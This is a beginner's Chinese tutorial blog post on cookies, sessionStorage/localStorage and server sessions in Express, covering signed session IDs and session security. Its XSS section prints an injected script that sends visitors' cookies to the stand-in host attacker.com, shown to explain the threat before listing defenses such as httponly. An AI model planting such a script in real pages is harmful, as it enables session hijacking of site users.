JAVA基础(未看)前端常见面试题前端概念

cookie与session小白入门

2016-07-05  本文已影响1485人  zenggo

cookie

cookie的起源

早期web刚开始出现复杂的应用程序时,产生了对于能够直接在客户端上存储用户信息能力的需求(例如登录信息、偏好设定等等)。服务器希望每个http请求到来的同时带来一些个性化的信息,以进行个性化的处理。这个需求的第一个解决方案是网景公司于1993年创造的cookie,定义与RFC2109。

wiki:Cookie(复数形态Cookies),中文名称为“小型文本文件”或“小甜饼”,指某些为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)

cookie的原理与实现

服务器在http响应头中添加Set-Cookie信息,浏览器收到响应后会根据头中的字段保存cookie,下一次访问时在请求头中附带cookie内容,供服务器根据cookie值进行后续处理。
下面用node express实现一个简单的由服务器发放cookie的例子,记录用户在10秒内访问的次数:

var express = require('express'),
    cookieParser = require('cookie-parser'); //cookie-parser是一个中间件,解析请求头中的cookies并填入req.cookies对象
var app = express();
app.listen(3000);
app.use(cookieParser());
app.get('/', function (req, res) {
    if (req.cookies.visit) {
        res.cookie('visit', +req.cookies.visit + 1, {maxAge: 10000});
        res.send("再次欢迎访问");
    } else {
        res.cookie('visit', 1, {maxAge: 10000});
        res.send("欢迎首次访问");
    }
    if (!req.cookies.hello) {
        res.cookie('hello', 'hello world', {maxAge: 5000});
    }
});

首次访问/,观察response header:

Set-Cookie:hello=hello%20world; Max-Age=5; Path=/; Expires=Fri, 01 Jul 2016 08:31:39 GMT
Set-Cookie:visit=1; Max-Age=10; Path=/; Expires=Fri, 01 Jul 2016 08:31:44 GMT

设置了两个cookie,并指定了时效。5秒内再次访问/,则响应头中不再包含set-cookie hello;5秒后访问,cookie hello失效,服务器再次发送cookie hello。10秒内不断访问/,则服务器每次都会重新发送cookie visit,值为10秒内访问的次数,而次数是根据用户发送的cookie hello来计算的。
第二次访问的request header:Cookie:hello=hello%20world; visit=1 cookie们用';'连接后被发送。
这样,就实现了我们的需求,由客户端存储服务器想要的个性化信息。

cookie的构成与限制

一个cookie的信息在发送前由服务器设置,express的res.cookie可以自定义设置。
res.cookie(name, value [, options])

JS浏览器端操作cookie

BOM为我们提供了操作cookie的接口:document.cookie。在一个页面中只能访问当前页面可用的cookie(根据cookie的域、路径、失效时间和安全设置),它返回一个分号连接的键值对字符串:
document.cookie // 输出当前页可访问的cookie:"hello=hello; visit=1"
添加cookie:
document.cookie=encodeURIComponent("hey") + "=" + encodeURIComponent("you") + "; domain=localhost:3000; path=/" //添加cookie hey
覆盖cookie:
document.cookie=encodeURIComponent("hello") + "=" + encodeURIComponent("new world")
由于JS中读写cookie不是非常直观,常常需要写一些工具函数来简化操作cookie,如读取、写入、删除。其中,删除需要使用重写一个失效时间为过去的cookie,它的名称、路径、域、安全选项需要相同。
看一个例子:

document.cookie // 假设当前页面在路径/abc下,"A=1" cookie A的path为/abc
document.cookie = "A=2; path='/'"
document.cookie // "A=1; A=2" 

这是因为俩A的path不同。名称、域、路径、安全选项共同确定一个唯一的cookie。

cookie的限制

浏览器对每个域能保存的cookie数量限制不同,而大多浏览器都对单个cookie的长度限制在4KB,若超过这个长度,则会被浏览器抛弃。
由于所有的cookie都会由浏览器作为请求头发送,所以在cookie中存储大量信息会影响到特定域的请求性能。尽管浏览器对cookie进行了大小限制,不过最好还是尽可能在cookie中少存储信息,以避免影响性能。
cookie的性质和它的局限性使得其并不能作为存储大量信息的理想手段,所以又出现了其他客户端存储方法。

其他客户端存储机制
Web Storage

最早在Web应用1.0规范中提出,最终成为了H5的一部分,它的目的是提供一种在cookie之外存储会话数据的途径,并提供一种存储大量可以跨会话存在的数据的机制。在BOM中它主要有两个常用对象:
window.sessionStorage
window.localStorage
都是Storage类的对象,通过设置键值对来存储值。

A page session lasts for as long as the browser is open and survives over page reloads and restores. Opening a page in a new tab or window will cause a new session to be initiated, which differs from how session cookies work.

试了一下两者,我的理解是:对于sessionStorage,新开一个tab或窗口都算一个新的会话,例如页面A在tab X中set了一个sessionStorage m,另一个tab或窗口中打开A,是没有m滴,因此它的作用域仅在当前tab,而关闭了A,m也就没了,生命周期也仅限于当前tab;而对于session cookie,只要浏览器没有关闭,它都在。(若理解有偏差,感谢指出)

** 三者区别**

| cookie | sessionStorage | localStorage
-|------|------------- | ----------
生命周期|由expires决定|到本tab或window关闭|到js删除或浏览器清除缓存
作用范围|由domain与path决定|本tab或本window|同一域名、协议、端口

signedCookie

想象一下,如果某个网站用户每次操作都需要输入用户名密码,那太烦了。如何用cookie解决呢?
实现方法是把登录信息如账号、密码等保存在Cookie中,并控制Cookie的有效期,下次访问时再验证Cookie中的登录信息即可。
保存登录信息有多种方案。


session

session的起源

由于HTTP协议是无状态的协议,所以服务端需要记录客户端的状态时(不想存数据库的用户数据),就需要用某种机制来识别记录。在识别用户这个需求上,上述的signedCookie是一种解决方案,但它只是用来识别登录用户,不能标识任意的访问请求;而对于记录这个需求,一些重要的数据就不能存放在 cookie 中了,客户端容易伪造,而且如果cookie太多也慢。
为了解决这些问题,就有人设计了session,session 中的数据是保留在服务器端的,服务器对一个用户在一次会话期间保存一个session对象。通过客户端一份、服务器端一份相同的字段来实现用户识别,通过服务器端在该session中保存键值对来记录用户数据。(从存储角度上说cookie是减轻服务器端存储压力,session是减轻客户端压力、减少传输带宽,都是舍己为人)

session的原理与实现

session实现也得靠cookie。当客户端第一次访问某网站时,服务器会根据自定义的规则计算出一个新的sid(它不会重复,也极难被仿造),创建一个对应的session对象并存储;然后sid作为cookie发给浏览器。此后服务器根据收到请求里的sid来匹配session,session中除了sid外可以存一些其他该客户端的信息键值对(signedCookie是用来识别登录的用户,sid是识别http请求,虽然他俩看起来很像)。这样只通过一个sid就能实现记录用户的状态啦。

如果说Cookie机制是通过检查客户身上的“通行证”来确定客户身份的话,那么Session机制就是通过检查服务器上的“客户明细表”来确认客户身份。Session相当于程序在服务器上建立的一份客户档案,客户来访的时候只需要查询客户档案表就可以了

sid的生命周期:通常服务器设置这个sid为一个默认expires的session cookie,客户端关了浏览器代表本次会话结束它就没了;服务器端的session存储一般也会给每个session设定一个时效,比如1小时,1小时内用户没有再访问就删除这个session。(若1小时后用户请求再携带服务器已删除的sid,那么服务器检索不到就会新建一个session并返回一个新的sid)

还是用express举个栗子:
express 中操作 session 要用到 express-session 这个模块,主要的方法就是session(options),其中 options 中包含可选参数:

var express = require('express');// 首先引入 express-session 这个模块
var session = require('express-session');
var app = express();app.listen(5000);// 按照上面的解释,设置 session 的可选参数
app.use(session({ secret: 'recommand 128 bytes random string', cookie: { maxAge: 60 * 1000 }}));
app.get('/', function (req, res) { // 检查 session 中的 isVisit 字段 
// 如果存在则增加一次,否则为 session 设置 isVisit 字段,并初始化为 1。
 if(req.session.isVisit) { 
    req.session.isVisit++; 
    res.send('<p>第 ' + req.session.isVisit + '次来此页面</p>'); 
} else { 
    req.session.isVisit = 1; 
    res.send("欢迎第一次来这里"); 
    console.log(req.sessionID);   // Q1t2E1BmlR3jLisjDPq5KgMX6ZsHsRfl
}});

安全

session安全

从前文可以知道,session数据放在后端,sid放在前端,这就存在着sid被盗用的可能:

防御伪造sid
session基于cookie,那么可以利用上文提到的signedCookie来让sid更加安全。
上文signedCookie举的栗子是对用户名签名,那么这里对sid签名就OK了。观察上节session例子的cookie与sid:

cookie
可以看到浏览器存的cookie connect.sid的值由三部分组成:'s%3A'('s:'的编码),中间是sid, '.' 之后是signedSid。
计算set-cookie值对应express-session模块中的这行代码:
var signed = 's:' + signature.sign(val, secret);

secret就是一开始session设置中的密钥了。客户端尽管可以伪造口令值,但是由于不知道secret,签名信息很难伪造。后台只需要在响应时将口令和签名比对,如果签名非法,将服务器端该sid的数据立即过期即可。

防御窃听、XSS
XSS漏洞
XSS跨站脚本攻击大家已经很熟悉了,攻击者往往利用网站没有对用户内容转义处理进行脚本注入获取用户在该网站上的cookie。例如,网站直接输出了一段攻击者的留言:

<script>
var d = document.createElement('script');
d.src = 'attacker.com/x?' + document.cookie.replaceAll(';', '&');
document.body.appendChild(d);
</script>

其他用户打开页面就中招了,这段注入脚本把用户的cookie发给了攻击者。
防御方法一种是设置cookie的httponly字段为true,这样脚本就不能访问到该cookie了。
还有一种是将客户端的某些独有信息与口令作为原值,然后签名,这样攻击者一旦不在原始的客户端上进行访问,就会导致签名失败。这些独有信息包括用户IP和用户代理。

当然在中间人攻击(尤其同网,比如免费wifi的劫持风险)的情况下,session截获重放基本也是抵挡不住的了。彻底解决方法是上https,并且需要要求浏览者有能力辨识https出示的证书真假。


参考:

上一篇 下一篇

猜你喜欢

热点阅读